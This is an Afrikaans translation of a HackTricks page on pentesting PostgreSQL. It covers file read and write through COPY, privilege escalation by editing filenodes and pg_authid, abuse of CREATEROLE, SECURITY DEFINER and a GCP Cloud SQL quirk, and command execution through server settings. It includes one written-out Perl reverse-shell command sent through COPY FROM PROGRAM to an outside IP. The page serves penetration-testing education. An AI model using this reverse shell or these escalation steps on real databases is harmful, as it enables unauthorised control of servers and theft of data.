Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
Leer & oefen AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Leer & oefen GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**PostgreSQL** word beskryf as 'n **objek-relationele databasisstelsel** wat **oopbron** is. Hierdie stelsel gebruik nie net die SQL-taal nie, maar verbeter dit ook met bykomende kenmerke. Sy vermoëns stel dit in staat om 'n wye verskeidenheid datatipes en operasies te hanteer, wat dit 'n veelsydige keuse vir ontwikkelaars en organisasies maak.
**Standaard poort:** 5432, en as hierdie poort reeds in gebruik is, blyk dit dat postgresql die volgende poort (waarskynlik 5433) wat nie in gebruik is, sal gebruik.
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection` uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede is hieronder gelys.
`DETAIL: kon nie met die bediener verbind nie: Geen roete na gasheer. Is die bediener aan die gang op gasheer "1.2.3.4" en aanvaar TCP/IP verbindings op poort 5678?`
In PL/pgSQL-funksies is dit tans nie moontlik om uitsondering besonderhede te verkry nie. As jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting verkry. As dit nie moontlik is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordlys-aanvalmetode te gebruik wat in die vorige afdeling bespreek is, aangesien dit moontlik positiewe resultate kan lewer.
| rolcanlogin | Rol kan aanmeld. Dit wil sê, hierdie rol kan as die aanvanklike sessie-outeididentifiseerder gegee word |
| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en verwyder. |
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindings wat hierdie rol kan maak. -1 beteken geen limiet. |
| rolpassword | Nie die wagwoord nie (lees altyd as `********`) |
| rolvaliduntil | Wagwoord vervaldatum (slegs gebruik vir wagwoordverifikasie); null as daar geen vervaldatum is |
| rolbypassrls | Rol omseil elke ry-vlak sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting. |
| rolconfig | Rol-spesifieke standaardinstellings vir tydens uitvoering konfigurasie veranderlikes |
Let daarop dat in Postgres 'n **gebruiker**, 'n **groep** en 'n **rol** die **selfde** is. Dit hang net af van **hoe jy dit gebruik** en of jy dit **toelaat om aan te meld**.
Van hierdie [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) kan lede van die gedefinieerde **`DEFAULT_ROLE_READ_SERVER_FILES`** groep (genoem **`pg_read_server_files`**) en **super gebruikers** die **`COPY`** metode op enige pad gebruik (kyk na `convert_and_check_filename` in `genfile.c`):
Daar is **ander postgres funksies** wat gebruik kan word om **lêer te lees of 'n gids te lys**. Slegs **supergebruikers** en **gebruikers met eksplisiete toestemmings** kan dit gebruik:
U kan **meer funksies** vind in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
Onthou dat COPY nie nuwe reël karakters kan hanteer nie, daarom, selfs al gebruik jy 'n base64 payload, **moet jy 'n een-liner stuur**.\
'n Baie belangrike beperking van hierdie tegniek is dat **`copy` nie gebruik kan word om binêre lêers te skryf nie, aangesien dit sommige binêre waardes verander.**
**Bug bounty wenk**: **meld aan** by **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien belonings tot **$100,000**!
As jy die nodige toestemmings het om PostgreSQL bediener lêers te lees en te skryf, kan jy enige tabel op die bediener opdateer deur **die geassosieerde lêer node te oorskryf** in [die PostgreSQL data gids](https://www.postgresql.org/docs/8.1/storage.html). **Meer oor hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
**Nota:** As jy nie die huidige data gids pad uit instellings kan verkry nie, kan jy die hoof PostgreSQL weergawe deur die `SELECT version()` navraag opvra en probeer om die pad te brute-force. Algemene data gids paden op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Algemene kluster naam is `main`.
2. Verkry 'n relatiewe pad na die filenode, geassosieer met die teiken tabel
Hierdie navraag moet iets soos `base/3/1337` teruggee. Die volle pad op skyf sal wees `$DATA_DIRECTORY/base/3/1337`, d.w.s. `/var/lib/postgresql/13/main/base/3/1337`.
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae op 1 vir volle toestemmings.
Jy kan ook 'n superadmin word deur die `pg_authid` tabel te redigeer. **Sien** [**die volgende afdeling**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
Sedert [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), kan slegs **super gebruikers** en lede van die groep **`pg_execute_server_program`** copy gebruik vir RCE (voorbeeld met eksfiltrasie:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Terwyl dit as CVE-2019-9193 gerapporteer is, het Postges verklaar dat dit 'n [kenmerk is en nie reggestel sal word nie](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Sodra jy **geleer** het uit die vorige pos **hoe om binêre lêers op te laai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**.
Die **konfigurasie lêer** van PostgreSQL is **skryfbaar** deur die **postgres gebruiker**, wat die een is wat die databasis bestuur, so as **superuser**, kan jy lêers in die lêerstelsel skryf, en daarom kan jy **hierdie lêer oorskryf.**
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die private sleutel van die databasis
*`ssl_passphrase_command = ''` As die private lêer deur 'n wagwoord beskerm word (geënkripteer) sal postgresql die **opdrag wat in hierdie eienskap aangedui word****uitvoer**.
*`ssl_passphrase_command_supports_reload = off`**As** hierdie eienskap **aan** is, sal die **opdrag** wat uitgevoer word as die sleutel deur 'n wagwoord beskerm word **uitgevoer word** wanneer `pg_reload_conf()`**uitgevoer** word.
Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die **private sleutel lêer die regte 640 het**, dit is **besit deur root** en deur die **groep ssl-cert of postgres** (sodat die postgres gebruiker dit kan lees), en is geplaas in _/var/lib/postgresql/12/main_.
**Meer** [**inligting oor hierdie konfig en oor WAL hier**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Vir dit om te werk, moet die `archive_mode` instelling `'on'` of `'always'` wees. As dit waar is, kan ons die opdrag in `archive_command` oorskryf en dit dwing om uit te voer via die WAL (write-ahead logging) operasies.
4. Dwing die WAL operasie om te loop, wat die archive opdrag sal aanroep: `SELECT pg_switch_wal()` of `SELECT pg_switch_xlog()` vir sommige Postgres weergawes
Ons kan die `dynamic_library_path` waarde stel na 'n gids, skryfbaar deur die `postgres` gebruiker wat die databasis bestuur, byvoorbeeld, `/tmp/` gids, en 'n kwaadwillige `.so` objek daar op te laai. Volgende, sal ons die PostgreSQL bediener dwing om ons nuut opgelaaide biblioteek te laai deur dit in die `session_preload_libraries` veranderlike in te sluit.
Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolles wat **`CREATEROLE`** regte het, kan **lidmaatskap in enige rol** wat **nie** 'n **superuser** is, **toeken of intrek**._
So, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie superuser is nie) wat jou die opsie kan gee om lêers te lees en te skryf en opdragte uit te voer:
Dit is redelik algemeen om te vind dat **lokale gebruikers in PostgreSQL kan aanmeld sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemming om kode uit te voer** versamel het, kan jy hierdie toestemming misbruik om jou **`SUPERUSER`** rol te verleen:
In [**hierdie skrywe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) word verduidelik hoe dit moontlik was om **privesc** in Postgres GCP te misbruik deur die ALTER TABLE voorreg wat aan die gebruiker toegeken is.
Wanneer jy probeer om **'n ander gebruiker die eienaar van 'n tabel te maak**, behoort jy 'n **fout** te ontvang wat dit voorkom, maar blykbaar het GCP daardie **opsie aan die nie-superuser postgres gebruiker** in GCP gegee:
Deur hierdie idee te kombineer met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) op 'n **tabel met 'n indeksfunksie** uitgevoer word, die **funksie** as deel van die opdrag met die **tabel****eienaar se regte****opgeroep** word. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarregte aan 'n **super gebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel met die kwaadwillige funksie uit te voer wat in staat sal wees om opdragte uit te voer omdat dit die voorregte van die eienaar gebruik.
2. Voeg 'n paar irrelevante inhoud in die tabel in om data vir die indeksfunksie te verskaf.
3. Ontwikkel 'n kwaadwillige indeksfunksie wat 'n kode-uitvoeringspayload bevat, wat ongeoorloofde opdragte toelaat om uitgevoer te word.
4. ALTER die tabel se eienaar na "cloudsqladmin," wat GCP se superuser rol is wat eksklusief deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
5. Voer 'n ANALYZE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," oor te skakel. Gevolglik word die kwaadwillige indeksfunksie met die regte van "cloudsqladmin" aangeroep, wat die uitvoering van die voorheen ongeoorloofde shell-opdrag moontlik maak.
Sommige verkeerd geconfigureerde postgresql instansies mag die aanmelding van enige plaaslike gebruiker toelaat, dit is moontlik om plaaslik vanaf 127.0.0.1 te teken met die **`dblink` funksie**:
As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker mag nie vanaf 'n eksterne IP aanmeld nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer:
[**In hierdie skrywe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), kon pentesters privesc binne 'n postgres-instantie wat deur IBM verskaf is, omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
Soos [**in die dokumentasie verduidelik**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwulnerabel is vir SQL Injection** of sekere **voorregte aksies uitvoer met parameters wat deur die aanvaller beheer word**, kan dit misbruik word om **voorregte binne postgres te eskaleer**.
**PL/pgSQL** is 'n **volledig funksionele programmeertaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit stel die gebruik van **lusse** en ander **beheersstrukture** in staat om programlogika te verbeter. Daarbenewens het **SQL-verklarings** en **triggers** die vermoë om funksies aan te roep wat geskep is met die **PL/pgSQL-taal**. Hierdie integrasie stel 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering in staat.\
**Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se akrediteer te brute-force.**
As jy **PostgreSQL-bediener lêers kan lees en skryf**, kan jy **'n superuser word** deur die PostgreSQL op-disk filenode, geassosieer met die interne `pg_authid` tabel, oor te skryf.
2. Verkry 'n relatiewe pad na die filenode, geassosieer met die `pg_authid` tabel
3. Laai die filenode af deur die `lo_*` funksies
4. Kry die datatype, geassosieer met die `pg_authid` tabel
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die [filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); stel alle `rol*` boolean-vlaggies op 1 vir volle regte.
6. Herlaai die gewysigde filenode via die `lo_*` funksies, en oorwrite die oorspronklike lêer op die skyf
7._(Opsioneel)_ Maak die in-geheue tabelkas skoon deur 'n duur SQL-navraag te loop
8. Jy behoort nou die voorregte van 'n volle superadmin te hê.
Jy kan dit ontsleutel met die _**decrypt**_ funksie binne die skrif: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie-lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elk wat 'n verbindingstipe, kliënt IP-adresreeks (indien van toepassing), databasisnaam, gebruikersnaam en die verifikasiemetode spesifiseer wat gebruik moet word om ooreenstemmende verbindings te vind. Die eerste rekord wat ooreenstem met die verbindingstipe, kliëntadres, aangevraagde databasis en gebruikersnaam, word vir verifikasie gebruik. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
Die beskikbare wagwoord-gebaseerde verifikasiemetodes in pg\_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-geënkripteer, of duidelike teks. Dit is belangrik om te noem dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg\_authid geënkripteer is nie.
Leer & oefen AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Leer & oefen GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\